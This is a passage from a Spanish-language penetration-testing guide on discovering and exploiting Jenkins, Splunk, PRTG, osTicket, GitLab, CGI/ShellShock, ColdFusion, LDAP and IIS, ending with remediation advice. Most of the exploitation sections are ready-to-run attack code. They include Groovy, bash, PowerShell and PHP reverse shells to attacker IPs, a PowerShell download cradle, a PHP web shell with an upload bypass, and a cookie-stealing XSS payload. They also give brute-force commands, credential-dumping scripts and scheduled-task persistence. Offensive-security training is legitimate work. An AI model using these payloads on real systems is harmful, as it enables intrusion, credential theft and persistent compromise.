curl http://<target>:8080/api/json

O más específica:

curl http://<target>:8080/user/admin/api/json

Si la respuesta contiene datos, el sistema no está restringido correctamente.

12.6. Extracción de versión

Jenkins expone su versión en la cabecera HTTP:

curl -I http://<target>:8080 | grep -i jenkins

Salida típica:

X-Jenkins: 2.263.4

Conclusión

Jenkins es una herramienta poderosa, pero si no se implementa con las restricciones adecuadas, puede exponer rutas críticas y datos sensibles. Esta fase de enumeración te permitirá definir el punto de entrada ideal, ya sea por paneles accesibles, APIs públicas o versiones vulnerables.

13. Jenkins – Explotación

Tras haber identificado un servicio Jenkins expuesto y posiblemente mal configurado, entramos en la fase de explotación. Jenkins, al ser tan flexible y extensible, puede ser una herramienta muy poderosa para un atacante si no está bien asegurada.

Esta sección explora técnicas para obtener acceso no autorizado, ejecutar comandos en el servidor y escalar privilegios desde la interfaz Jenkins o mediante explotación directa de sus APIs y funcionalidades.

13.1. Abuso del script console (/script)

En Jenkins, la ruta /script permite ejecutar código Groovy si el usuario tiene privilegios suficientes (administrador). En entornos mal configurados, esta ruta puede estar accesible sin autenticación o ser explotable con credenciales filtradas.

Prueba manual:

  1. Ve a http://<target>:8080/script
  2. Ejecuta el siguiente código para comprobar ejecución remota:
println "Hola desde Jenkins"

Reverse shell en Groovy:

String host="<tu_IP>";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()) {
    while(pi.available()>0)
        so.write(pi.read());
    while(pe.available()>0)
        so.write(pe.read());
    while(si.available()>0)
        po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {
        p.exitValue();
        break;
    } catch (Exception e) {}
}
p.destroy();
s.close();

Escucha con:

nc -lvnp 4444

13.2. Abuso de Builds para ejecutar comandos

Si puedes crear o editar Jobs:

  1. Crea un nuevo proyecto «Freestyle».
  2. En la sección de «Build» agrega un «Execute Shell» con comandos como:
id
uname -a
nc -e /bin/bash <tu_IP> 4444
  1. Ejecuta el job y revisa la salida en la consola de Jenkins.

Esto es útil si no tienes acceso al script console pero puedes modificar configuraciones de proyectos.

13.3. Explotación de plugins vulnerables

Algunos plugins instalados en Jenkins tienen vulnerabilidades conocidas:

  • Groovy plugin
  • Script Security plugin
  • Git plugin

Consulta bases como:

También puedes usar searchsploit:

searchsploit jenkins

13.4. Acceso a credenciales

Si accedes al sistema como administrador, puedes extraer secretos del almacén:

Acceso vía interfaz:

  • http://<target>:8080/credentials/store/system/domain/_/

Acceso por Groovy script:

for (cred in com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
  com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
  Jenkins.instance,
  null,
  null)) {
  println(cred.id + ":" + cred.username + "/" + cred.password)
}

13.5. API de Jenkins (sin autenticación)

Si la API está expuesta, puedes crear builds y ejecutar comandos con una sola línea:

curl -X POST http://<target>:8080/job/test/build --data ''

O recuperar archivos:

curl http://<target>:8080/job/test/lastBuild/consoleText

13.6. Persistencia y escalación

Una vez tengas acceso:

  • Abusa de scripts Groovy para crear usuarios.
  • Sube WARs o archivos a través de userContent/.
  • Busca archivos .xml dentro de JENKINS_HOME que contengan configuraciones y contraseñas en texto plano.

Conclusión

Jenkins es una herramienta tan poderosa como peligrosa si no se configura adecuadamente. Desde interfaces expuestas hasta scripting arbitrario, existen múltiples rutas para comprometer por completo un sistema que lo utilice. Una vez dentro, la escalación lateral o la persistencia son triviales si no se ha segmentado correctamente el entorno.

14. Splunk – Descubrimiento y enumeración

Splunk es una potente plataforma de análisis y monitoreo de datos de máquina en tiempo real. Es comúnmente utilizada por equipos de seguridad y operaciones para recolectar logs, generar alertas y visualizar eventos críticos del sistema. Sin embargo, si está mal configurada o expuesta innecesariamente, puede convertirse en una valiosa fuente de información para un atacante.

Esta sección explora cómo detectar una instancia de Splunk y qué rutas o funcionalidades pueden ser abusadas sin necesidad de explotación avanzada.

14.1. Identificación de un servidor Splunk

Splunk suele operar por defecto en el puerto 8000 (HTTP) y 8089 (API HTTPS interna).

Escaneo con Nmap

nmap -p 8000,8089 --open -sV <target>

Salida esperada:

8000/tcp open  http Splunkd web interface
8089/tcp open  ssl/https Splunk management API

Verificación manual

Abre en el navegador:

http://<target>:8000

Deberías ver el login de Splunk Web. En algunos casos mal configurados, podrías acceder sin credenciales.

14.2. Detección con WhatWeb y Wappalyzer

Ejecuta:

whatweb http://<target>:8000

Deberías ver firmas como:

Splunk, HTTPServer[Splunkd], X-Frame-Options: SAMEORIGIN

También puedes inspeccionar con las herramientas de desarrollo del navegador (F12) para ver encabezados HTTP personalizados como:

  • X-Splunk-Form-Key
  • X-Content-Type-Options

14.3. Panel de login y posibles usuarios por defecto

Ruta típica:

http://<target>:8000/en-US/account/login

Usuarios por defecto comunes:

  • admin / changeme
  • admin / admin

Puedes intentar login manual o con herramientas como Hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/en-US/account/login:username=^USER^&password=^PASS^:login failed"

14.4. Verificación de interfaz de ayuda y recursos expuestos

Revisa si existen rutas como:

  • /en-US/help
  • /debug/refresh
  • /static/

Estas pueden revelar versión, configuraciones del sistema o archivos estáticos con código JS y configuraciones que revelen rutas internas.

14.5. API de administración (puerto 8089)

Este puerto expone la API REST de Splunk, y es muy útil si se encuentran credenciales válidas o se abusa de tokens mal configurados.

Verifica con:

curl -k https://<target>:8089/services/server/info -u admin:changeme

Salida esperada:

<server-info>
  <label>splunk-instance</label>
  <version>8.2.1</version>
</server-info>

14.6. Extracción de versión y módulos

Si puedes acceder al HTML del panel de login:

curl -s http://<target>:8000/en-US/account/login | grep -i version

O revisa archivos estáticos:

/static/js/build/pages/login.*.js

Estos archivos suelen tener comentarios o cadenas que identifican la versión.

Conclusión

Splunk puede parecer solo una herramienta de monitoreo, pero desde el punto de vista ofensivo, ofrece una fuente de inteligencia muy valiosa: versiones del software, servicios conectados, posibles credenciales por defecto y rutas internas. Además, si se accede al API o a dashboards internos, puede facilitar el movimiento lateral o la recolección de información de sistemas comprometidos.

15. Splunk – Explotación

Una vez identificado un servidor Splunk accesible y recolectada información relevante como la versión, módulos instalados o credenciales por defecto, podemos proceder con técnicas de explotación activa. Splunk ofrece funcionalidades que, si son mal utilizadas o configuradas, permiten desde ejecución de comandos hasta filtrado de credenciales internas.

15.1. Acceso con credenciales por defecto

Si lograste autenticarte con admin:changeme u otra combinación válida, podrás:

  • Crear dashboards personalizados.
  • Modificar búsquedas predefinidas.
  • Subir aplicaciones (Apps).

15.2. Comandos peligrosos en búsquedas

Splunk permite ejecutar ciertos comandos dentro de su sistema de búsquedas. Algunos pueden utilizarse de forma maliciosa:

Ejemplo: lectura de archivos del sistema

| inputlookup ../../../../etc/passwd

Otras funciones como script o lookup pueden vincularse a scripts del sistema si están mal configuradas o integradas con Apps externas.

15.3. Ejecución remota mediante apps (App Upload RCE)

Si tienes acceso al panel de administración y la opción de cargar Apps está habilitada, puedes generar una App personalizada con payload malicioso.

Crear estructura básica:

mkdir -p myapp/bin
cd myapp
echo '[install]
state = enabled' > default/app.conf

Agrega un script malicioso:

echo -e '#!/bin/bash\nwhoami > /tmp/hacked' > bin/hack.sh
chmod +x bin/hack.sh

Empaqueta en .tar.gz:

tar -czf myapp.tar.gz myapp/

Luego súbelo vía http://<target>:8000/en-US/manager/appinstall/ y activa la app.

Dependiendo de la configuración, el script puede ejecutarse como parte del ciclo de instalación.

15.4. Abuso de tokens de API y sesiones activas

Si puedes acceder al panel:

  • Crea nuevos tokens de autenticación desde la configuración de usuarios.
  • Usa esos tokens para consultas API sin pasar por la interfaz.

Ejemplo de acceso a logs vía API:

curl -k -u admin:<token> https://<target>:8089/services/search/jobs/export --data-urlencode search="search index=_internal | head 10"

15.5. Lectura de archivos y post-explotación

Si consigues shell vía app maliciosa o abuso del entorno:

  • Extrae credenciales de /opt/splunk/etc/passwd
  • Enumera configuración en local/ o default/
  • Busca conexiones a otros sistemas desde logs de búsqueda y autenticación.

15.6. Escalación de privilegios y persistencia

  • Si la shell es limitada, revisa permisos de sudo.
  • Explora integraciones de Splunk con otros servicios (como SSH, Syslog, bases de datos).
  • Deja puertas traseras modificando scripts legítimos o subiendo apps con funcionalidad persistente.

Conclusión

Splunk, cuando es mal administrado, puede ser una mina de oro para atacantes. Permite acceso a información crítica, ejecución de comandos y pivotaje hacia otros sistemas. La explotación aquí documentada demuestra cómo funcionalidades diseñadas para administradores pueden ser reapropiadas para comprometer todo el entorno operativo.

16. PRTG – Descubrimiento y enumeración

PRTG Network Monitor es una herramienta utilizada ampliamente para el monitoreo de infraestructuras, dispositivos y servicios de red. Desarrollada por Paessler, PRTG incluye un servidor web, interfaces de APIs y servicios que, si se exponen sin la debida protección, pueden entregar información crítica sobre la red y sus componentes.

En esta sección exploramos cómo identificar una instalación de PRTG y qué información se puede recolectar antes de proceder a una explotación activa.

16.1. Identificación del servicio

PRTG opera por defecto en los puertos 80, 443 o un puerto personalizado definido durante la instalación (por ejemplo, 8080).

Escaneo con Nmap

nmap -p 80,443,8080 --open -sV <target>

Resultado esperado:

443/tcp open  https   Paessler PRTG web interface

También puedes detectar el banner HTTP:

curl -k -I https://<target>/ | grep -i prtg

16.2. Verificación visual

Accede con navegador a:

https://<target>/ or http://<target>/prtg

Buscarás el login de PRTG Network Monitor. Algunas versiones antiguas pueden mostrar información como la versión en el footer o en metadatos HTML.

16.3. Recolección de versión y cabeceras

Usa herramientas como WhatWeb o Wappalyzer:

whatweb https://<target>

Salida típica:

PRTG Network Monitor, HTTPServer[PRTG], Server: PRTG/20.4.64.1402

También puedes ver cabeceras como:

  • Server: PRTG/XX.XX.XX.XXXX
  • X-Frame-Options, X-Content-Type-Options

16.4. Enumeración de recursos públicos

En algunas versiones, ciertos recursos pueden ser accedidos sin autenticación:

  • /public/dashboard.htm
  • /public/mapshow.htm?id=1
  • /javascript/core/core.js

Prueba acceder a ellos con curl o el navegador para buscar pistas del entorno.

curl -s https://<target>/public/dashboard.htm

16.5. Credenciales por defecto y login

Ruta típica de acceso:

https://<target>/ or https://<target>/index.htm

Credenciales por defecto (ya no recomendadas, pero usadas en entornos desatendidos):

  • prtgadmin:prtgadmin
  • admin:admin

Puedes usar Hydra para automatizar:

hydra -l prtgadmin -P /usr/share/wordlists/rockyou.txt <target> https-post-form \
"/public/checklogin.htm:username=^USER^&password=^PASS^:incorrect"

16.6. Exploración de APIs

PRTG expone una API REST que puede usarse para consultar sensores, alertas y configuraciones.

Prueba:

curl -k "https://<target>/api/table.json?content=sensors&columns=objid,probe,group,device,sensor,status,message&username=prtgadmin&password=prtgadmin"

Si el servidor no ha sido correctamente configurado, esta petición puede devolver una lista completa de dispositivos monitoreados.

Conclusión

PRTG puede convertirse en una mina de oro para un atacante. A través de su web interface o API, es posible conocer toda la topología de red, dispositivos sensibles, usuarios activos y servicios críticos. Además, una interfaz pública sin autenticación o con credenciales débiles puede ofrecer acceso administrativo desde el primer momento.

17. PRTG – Explotación

PRTG Network Monitor, cuando es mal configurado o está desactualizado, puede convertirse en una puerta de entrada al entorno interno. A través de credenciales por defecto, paneles mal protegidos o ejecución de scripts personalizados, se puede conseguir acceso administrativo, escalar privilegios e incluso ejecutar código remoto.

En esta sección abordamos técnicas ofensivas prácticas para comprometer una instancia de PRTG.

17.1. Acceso con credenciales válidas

Si se ha identificado un login válido (por defecto o fuerza bruta), accede al panel en:

https://<target>/index.htm

Desde aquí puedes:

  • Ver toda la infraestructura monitoreada.
  • Crear nuevos sensores.
  • Ejecutar scripts de monitoreo.
  • Subir ejecutables personalizados (en entornos mal asegurados).

17.2. Creación de sensor con ejecución de comandos

Uno de los métodos más eficaces es abusar del sensor «EXE/Script Advanced» para ejecutar comandos arbitrarios en el sistema donde se encuentra el servidor PRTG.

Pasos:

  1. Dirígete a un dispositivo de prueba.
  2. Añade nuevo sensor → EXE/Script Advanced.
  3. Usa un script personalizado previamente subido al directorio:
C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXEXML\

Este script puede ser, por ejemplo, un .bat o .exe con un reverse shell:

powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker_ip>/shell.ps1')"

17.3. Abuso de scripts en PowerShell o cmd

Muchos entornos permiten sensores con ejecución de scripts PowerShell. Puedes subir un script malicioso (.ps1) que ejecute payloads o abra una reverse shell.

Listener en Kali:

nc -lvnp 4444

Payload en PowerShell:

$client = New-Object System.Net.Sockets.TCPClient("<attacker_ip>",4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2  = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

17.4. Persistencia a través de tareas programadas

Desde el acceso obtenido, puedes crear tareas programadas en el sistema para mantener persistencia:

schtasks /create /tn "prtg_monitor" /tr "powershell -File C:\Users\Public\reverse.ps1" /sc minute /mo 5 /ru SYSTEM

17.5. Escalada y post-explotación

Una vez dentro:

  • Revisa las rutas de instalación: C:\ProgramData\Paessler\PRTG Network Monitor\.
  • Extrae archivos de configuración como PRTG Configuration.dat que contienen usuarios, contraseñas, sensores y endpoints internos.
  • Usa herramientas como Mimikatz si obtienes acceso con privilegios elevados.

Conclusión

PRTG ofrece una interfaz potente para administrar y monitorear infraestructuras, pero si no se protege adecuadamente, se convierte en un punto de entrada extremadamente sensible. La capacidad de ejecutar scripts como parte del monitoreo es útil para administradores… y peligrosa en manos equivocadas.

18. osTicket – Descubrimiento y enumeración

osTicket es una plataforma de código abierto para la gestión de tickets de soporte técnico. Utilizado en empresas, instituciones educativas y entornos internos, puede revelar información sensible si no está debidamente protegido.

En esta sección aprenderás cómo identificar una instalación de osTicket, descubrir sus características técnicas y prepararte para una posible fase de explotación.

18.1. Identificación del sistema osTicket

osTicket suele operar en servidores Apache con PHP, utilizando rutas y archivos específicos que permiten su reconocimiento.

Escaneo con Nmap

nmap -p 80,443 --open -sV <target>

18.2. Verificación con navegador o curl

Accede a:

http://<target>/ or http://<target>/osticket

Busca referencias visuales en el título, pie de página o rutas como:

  • /scp/login.php → Login de staff
  • /open.php → Formulario de ticket público

Curl:

curl -s http://<target> | grep -i osticket

18.3. Recolección de versión

Busca rutas comunes:

  • /scp/ajax.php/info → En versiones antiguas devuelve versión
  • Archivos estáticos:
curl -s http://<target>/scp/ajax.php/info

También puedes examinar HTML para encontrar comentarios como:

<!-- osTicket v1.15.1 -->

18.4. Enumeración de paneles y archivos accesibles

Utiliza Gobuster para identificar rutas:

gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt -t 50

Rutas clave a buscar:

  • /scp/ → acceso administrativo
  • /include/, /setup/, /backup/ → archivos sensibles o configuraciones antiguas

18.5. Comprobación de instalación insegura

Algunas instalaciones no eliminan el directorio /setup/, lo cual es una mala práctica de seguridad. Este puede contener archivos como:

  • install.php
  • configure.php

Visítalos directamente:

curl -s http://<target>/setup/install.php

18.6. Enumeración de usuarios

Aunque osTicket no expone usuarios directamente, algunos headers pueden revelar emails de contacto, o archivos PDF generados con nombre del personal (técnicos de soporte).

Busca enlaces de tickets públicos o enlaces a documentos como:

/download.php?f=nombre_archivo.pdf

Conclusión

osTicket puede parecer una simple plataforma de soporte, pero si está mal configurada, deja al descubierto rutas administrativas, configuraciones críticas y archivos sensibles. Además, versiones antiguas han presentado vulnerabilidades de ejecución remota y filtración de información.

19. osTicket – Explotación

Una vez que se ha identificado una instalación de osTicket y se ha recopilado información sobre rutas, versiones y posibles configuraciones inseguras, el siguiente paso es la explotación. osTicket ha tenido múltiples vulnerabilidades a lo largo de los años, desde ejecución remota hasta exposición de archivos y sesiones mal gestionadas.

19.1. Archivos de instalación no eliminados

Uno de los errores más comunes es dejar el directorio /setup/ después de la instalación.

Verifica acceso a:

http://<target>/setup/install.php

Si puedes acceder a este archivo, puedes intentar reiniciar el proceso de instalación o leer datos sensibles desde configuraciones previas.

19.2. Inclusión de archivos locales (LFI)

En versiones vulnerables, se ha detectado LFI a través de rutas como:

/scp/download.php?file=../../../../../../etc/passwd

Prueba variantes para validar inclusión de archivos del sistema.

19.3. Subida de archivos maliciosos (upload bypass)

Si el sistema permite a los usuarios adjuntar archivos a los tickets, puedes intentar subir un archivo PHP camuflado como imagen:

Ejemplo de nombre:

shell.php.jpg

Contenido:

<?php system($_GET['cmd']); ?>

Si se omite la validación MIME, podrías ejecutarlo accediendo a:

http://<target>/attachments/shell.php.jpg?cmd=id

El nombre del archivo y la ruta exacta pueden variar según versión y configuración.

19.4. Exploits conocidos por versión

Si identificaste una versión vulnerable, busca CVEs relacionados:

  • CVE-2021-XXXX → RCE a través de ticket injection.
  • CVE-2020-12274 → SQLi no autenticada en /ajax.php.

Usa searchsploit para consultar exploits disponibles:

searchsploit osticket

19.5. Abuso de funcionalidades del panel de administración

Si obtuviste acceso como técnico (staff) o admin:

  • Ve a scp/settings.php
  • Agrega integraciones maliciosas (webhooks, shell inversas por PHP).
  • Edita plantillas de email con contenido malicioso.

Reverse shell a través de campo vulnerable:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'"); ?>

19.6. Persistencia y extracción de información

  • Accede a la base de datos (ost_config, ost_user, ost_staff).
  • Revisa la ruta include/ost-config.php para credenciales de DB:
curl http://<target>/include/ost-config.php

Este archivo puede revelar:

DBUSER = 'root';
DBPASS = 'password123';

Conclusión

osTicket puede convertirse en una puerta de entrada si no se aplica un endurecimiento posterior a la instalación. Las rutas de instalación olvidadas, validaciones pobres en la subida de archivos o errores lógicos en el tratamiento de sesiones pueden derivar en compromisos completos del sistema.

20. GitLab – Descubrimiento y enumeración

GitLab es una plataforma de DevOps completa que ofrece repositorios Git, CI/CD, gestión de incidencias y más. Su uso está ampliamente extendido tanto en redes internas como expuestas a internet. Por su complejidad y alcance, GitLab puede convertirse en un objetivo crítico si no se protege adecuadamente.

Esta sección explora cómo identificar una instancia de GitLab, qué rutas son relevantes y cómo obtener información valiosa para su posterior explotación.

20.1. Identificación de una instancia GitLab

GitLab suele desplegarse en puertos estándar:

  • 443 (HTTPS)
  • 80 (HTTP)
  • O puertos personalizados (como 8080)

Escaneo con Nmap:

nmap -p 80,443,8080 --open -sV <target>

Resultado esperado:

443/tcp open  https   nginx GitLab

Verificación con navegador o curl

curl -I https://<target>

Cabeceras esperadas:

  • Server: nginx
  • Set-Cookie: _gitlab_session
  • X-GitLab-Version: 14.0.5

20.2. Acceso a la interfaz web

Visita:

https://<target>/users/sign_in

La página mostrará la marca GitLab y a veces el número de versión en el pie de página o código fuente:

<meta name="version" content="14.0.5">

20.3. Enumeración de usuarios públicos

Si el registro está abierto, puedes:

  • Ver usuarios registrados en: https://<target>/users
  • Buscar perfiles como:
https://<target>/<usuario>

Estos perfiles pueden revelar:

  • Correo electrónico
  • Actividad reciente
  • Repositorios públicos

20.4. Repositorios públicos accesibles

Algunos proyectos son visibles sin autenticación. Prueba:

https://<target>/<grupo>/<proyecto>

Desde ahí puedes acceder a:

  • Archivos del repo
  • CI/CD pipelines
  • Issues y discusiones
  • Tokens mal gestionados (¡muy común!)

20.5. API pública sin autenticación

GitLab ofrece una API REST que puede estar parcialmente expuesta:

curl -s https://<target>/api/v4/version

Respuesta típica:

{
  "version": "14.0.5",
  "revision": "abc1234"
}

Otras rutas útiles:

  • /api/v4/users
  • /api/v4/projects

20.6. Registro abierto o mal configurado

Verifica si puedes crear una cuenta nueva:

https://<target>/users/sign_up

Si el registro está habilitado y no hay restricciones por dominio, podrías entrar como usuario regular y explorar internamente desde la interfaz o API.

Conclusión

GitLab es una plataforma poderosa, pero si no se refuerza desde el momento de su despliegue, puede filtrar información crítica: versiones, usuarios, repositorios, y rutas de API públicas. Esta información es el primer paso hacia la explotación, especialmente si se encuentran tokens, contraseñas, o scripts de CI mal configurados.

21. GitLab – Explotación

Una vez identificada una instancia de GitLab, con acceso a información sobre usuarios, proyectos y posiblemente versiones vulnerables, se puede pasar a la fase ofensiva. GitLab, por su complejidad y extensibilidad, ha sido históricamente afectado por vulnerabilidades críticas: desde ejecución remota de código hasta abuso de runners CI/CD.

En esta sección veremos cómo comprometer una instancia de GitLab aprovechando sus configuraciones inseguras, repositorios públicos, y CVEs conocidos.

21.1. Fuga de tokens y secretos en repos públicos

Es común encontrar secretos en archivos como:

  • .gitlab-ci.yml
  • config/secrets.yml
  • .env

Usa el buscador de GitLab para filtrar por palabras clave:

/api_key/
/token/
/password/

O descarga todo el repositorio y busca localmente:

git clone https://<target>/<grupo>/<repo>.git
cd <repo>
grep -r 'password\|token\|secret' .

21.2. Ejecución de comandos mediante CI mal configurado

Si el proyecto tiene CI/CD habilitado y puedes editar .gitlab-ci.yml, puedes insertar un job malicioso:

job:
  script:
    - bash -i >& /dev/tcp/<tu_IP>/4444 0>&1

Luego simplemente haces un push para que se ejecute en el runner:

echo "modificación" >> README.md
git add . && git commit -m "trigger" && git push

Asegúrate de tener nc -lvnp 4444 corriendo para recibir la shell.

21.3. Exploits históricos (RCE, SSRF, LFI)

GitLab ha sido víctima de múltiples vulnerabilidades.

Ejemplo: CVE-2021-22205 – RCE sin autenticación

Esta vulnerabilidad permite subir archivos maliciosos a través de la funcionalidad de subida de imágenes:

Exploit disponible en:

git clone https://github.com/BorisOsipov/CVE-2021-22205.git

Ejecuta con:

python3 exploit.py -u https://<target> -p 443 --https

21.4. Subida de payload a través de snippets o issues

En versiones antiguas, los campos de snippets o comentarios de issues permitían XSS o incluso ejecución de comandos si se procesaban mediante CI.

Ejemplo de payload:

<script>fetch('http://<tu_IP>/?c='+document.cookie)</script>

21.5. Acceso a base de datos y archivos internos (post-explotación)

Si obtienes shell en un servidor GitLab:

  • Explora /etc/gitlab/gitlab.rb para ver configuraciones.
  • Credenciales en /var/opt/gitlab/postgresql/ o backups en /var/opt/gitlab/backups/.

Revisa también:

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

Estos archivos contienen claves usadas por Rails para cifrar datos de sesiones y tokens.

21.6. Persistencia y escalado lateral

Una vez comprometida una instancia:

  • Crea nuevos usuarios administradores.
  • Agrega claves SSH a proyectos internos.
  • Automatiza el acceso con tokens de API o Git personal access tokens (PATs).

Conclusión

GitLab, aunque potente, puede abrir puertas críticas si no se protege adecuadamente. Desde CI mal asegurados hasta exposición de secretos, esta plataforma requiere una política de seguridad activa. La explotación bien dirigida puede resultar en el compromiso total del entorno DevOps y acceso a redes internas.

22. Interfaces CGI y ataques como ShellShock

Las interfaces CGI (Common Gateway Interface) permiten la ejecución de scripts en servidores web para generar contenido dinámico. Aunque hoy en día están en desuso frente a tecnologías más modernas, todavía se encuentran presentes en entornos heredados o dispositivos embebidos. Uno de los ataques más notables contra CGI es ShellShock, una vulnerabilidad crítica en Bash descubierta en 2014 que aún puede estar presente en sistemas no parcheados.

En esta sección aprenderás cómo identificar interfaces CGI y cómo explotar ShellShock para conseguir ejecución remota de comandos (RCE).

22.1. Identificación de interfaces CGI

Exploración con Nmap

nmap -p 80 --script http-enum <target>

Busca rutas como:

  • /cgi-bin/status
  • /cgi-bin/test.cgi
  • /cgi-bin/admin.cgi

Detección manual con Gobuster

gobuster dir -u http://<target>/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x cgi,sh,pl -t 30

22.2. Verificación de ShellShock

ShellShock permite la ejecución de comandos a través de variables de entorno manipuladas.

Prueba simple con curl

curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://<target>/cgi-bin/status

Si el sistema es vulnerable, verás una respuesta con el resultado del comando id.

Prueba con nmap NSE

nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/status,cmd=id <target>

22.3. Reverse shell con ShellShock

Una vez confirmada la vulnerabilidad, puedes explotar con un payload de reverse shell:

curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<tu_IP>/4444 0>&1" http://<target>/cgi-bin/status

Ten preparado el listener:

nc -lvnp 4444

22.4. Escalada de privilegios (si se ejecuta como root)

Si el CGI se ejecuta con permisos elevados, puedes directamente:

  • Leer archivos como /etc/shadow
  • Modificar usuarios o contraseñas
  • Instalar puertas traseras

Revisa también tareas cron, binarios con SUID, y configuraciones sudoers.

22.5. Persistencia y movimiento lateral

Con acceso inicial, establece persistencia:

  • Crea nuevas llaves SSH si puedes acceder al sistema.
  • Crea usuarios con privilegios si tienes permisos suficientes.
  • Usa herramientas como pspy, linpeas para seguir explorando el entorno.

Conclusión

ShellShock sigue siendo una amenaza en entornos olvidados o mal gestionados. Interfaces CGI deben ser desactivadas o aisladas, y los sistemas actualizados regularmente. La explotación es sencilla y muy efectiva cuando se encuentra un objetivo vulnerable.

23. Aplicaciones variadas: ColdFusion, LDAP, IIS y más

En entornos empresariales, especialmente aquellos con infraestructura legacy o integrada por años, es común encontrarse con tecnologías que, aunque menos populares hoy, siguen en producción: ColdFusion, servidores LDAP mal configurados y IIS (Internet Information Services). Estas aplicaciones y servicios presentan vectores de ataque únicos que pueden ser aprovechados si no están adecuadamente protegidos.

23.1. ColdFusion

ColdFusion es un servidor de aplicaciones y lenguaje de scripting usado en muchas plataformas legacy.

Detección:

  • Rutas típicas: /CFIDE/administrator/index.cfm, /cfide/
  • Escaneo con Nmap:
nmap -p 80,8500 --script http-enum <target>

Explotación histórica:

ColdFusion ha sido vulnerable a múltiples CVEs con RCE:

  • CVE-2010-2861
  • CVE-2013-3336
  • CVE-2018-15961

Usa searchsploit para consultar posibles exploits:

searchsploit coldfusion

Payload común:

curl -X POST -d "file=../../../../../../../../windows/win.ini" http://<target>/CFIDE/administrator/enter.cfm

23.2. LDAP (Lightweight Directory Access Protocol)

LDAP es una base de datos jerárquica usada para la autenticación y gestión de usuarios.

Detección:

nmap -p 389 --script ldap-rootdse <target>

Enumeración:

Si el servidor permite consultas anónimas:

ldapsearch -x -h <target> -b "dc=empresa,dc=local"

Puedes obtener:

  • Listado de usuarios
  • Estructura de unidades organizativas (OUs)
  • Información de contraseñas en texto claro (si está mal configurado)

Abuso:

  • Relays NTLM si LDAP es parte de un entorno Windows (con mitm6 + ntlmrelayx).
  • Escalada lateral con Kerberos o SMB.

23.3. IIS (Internet Information Services)

IIS es el servidor web de Microsoft. Es frecuente en redes Windows y entornos de intranet.

Detección:

  • Cabecera HTTP:
curl -I http://<target>

Salida esperada:

Server: Microsoft-IIS/10.0

Rutas comunes vulnerables:

  • /scripts/, /iisstart.asp, /aspnet_client/

Enumeración con Nikto:

nikto -h http://<target>

Abuso:

  • Subida de archivos por WebDAV:
cadaver http://<target>/webdav/
  • LFI mediante parámetros mal sanitizados.
  • Abuso de módulos antiguos como ASP clásico para RCE.

Conclusión

Aunque muchas veces ignoradas por estar en desuso, aplicaciones como ColdFusion, servicios LDAP o IIS siguen representando una amenaza si no se mantienen actualizados y aislados correctamente. Esta sección resalta cómo, en una auditoría interna o Red Team, las piezas más viejas de la infraestructura pueden ser las más fáciles de explotar.

24. Cierre y recomendaciones de seguridad

Tras haber recorrido la identificación, enumeración y explotación de múltiples aplicaciones comunes en entornos corporativos, es esencial cerrar este proceso de forma profesional. El valor de una auditoría o pentest no reside solo en encontrar vulnerabilidades, sino en proporcionar soluciones claras, prácticas y aplicables que ayuden a fortalecer la seguridad de la organización.

24.1. Documentación técnica y ejecutiva

Cada hallazgo debe registrarse con el mayor nivel de detalle posible, incluyendo:

  • Nombre del servicio o tecnología afectada.
  • Vector de ataque (LFI, RCE, credenciales por defecto, etc.).
  • Evidencia (capturas, salida de comandos, código fuente).
  • Riesgo asociado (según CVSS o contexto real).
  • Recomendación concreta y viable para mitigar o eliminar la vulnerabilidad.

También es recomendable elaborar:

  • Informe ejecutivo: resumen no técnico para directivos.
  • Informe técnico: detalle completo para equipos de seguridad y sistemas.

24.2. Medidas de remediación prioritarias

A partir de los hallazgos, algunas acciones clave suelen incluir:

  • Deshabilitar interfaces innecesarias: como /manager/html en Tomcat, /setup/ en osTicket, o /cgi-bin/ si no se usa CGI.
  • Actualizar servicios: como WordPress, Jenkins o GitLab a sus versiones más recientes.
  • Eliminar credenciales por defecto: esto incluye Tomcat, Splunk, PRTG y más.
  • Revisar configuraciones expuestas: eliminar archivos como CHANGELOG.txt, settings.php, .git, backups .zip y otros.

24.3. Fortalecimiento general de la superficie de ataque

  • Implementar segmentación de red (DMZ, VLANs).
  • Uso de WAF (firewall de aplicaciones web).
  • Habilitar autenticación multifactor (MFA) en todos los paneles posibles.
  • Monitorizar tráfico hacia interfaces administrativas.
  • Realizar auditorías periódicas y escaneos automatizados.

24.4. Automatización y herramientas recomendadas

Para repetir el proceso de forma sistemática:

  • Nmap + NSE
  • Gobuster / Dirbuster
  • EyeWitness / Aquatone
  • wpscan, droopescan, nikto, sqlmap
  • searchsploit + ExploitDB

Mantén una colección organizada de herramientas en tu entorno de pentest o laboratorio virtual.

24.5. Lecciones aprendidas y mentalidad del atacante

El atacante no siempre busca la tecnología más avanzada, sino la configuración más débil. Muchas veces, una página olvidada, una cuenta sin MFA o un CMS sin actualizar puede ser suficiente para tomar control de todo un entorno.

Revisa siempre:

  • Combinación de vectores.
  • Exploits encadenados.
  • Persistencia silenciosa.

Conclusión final

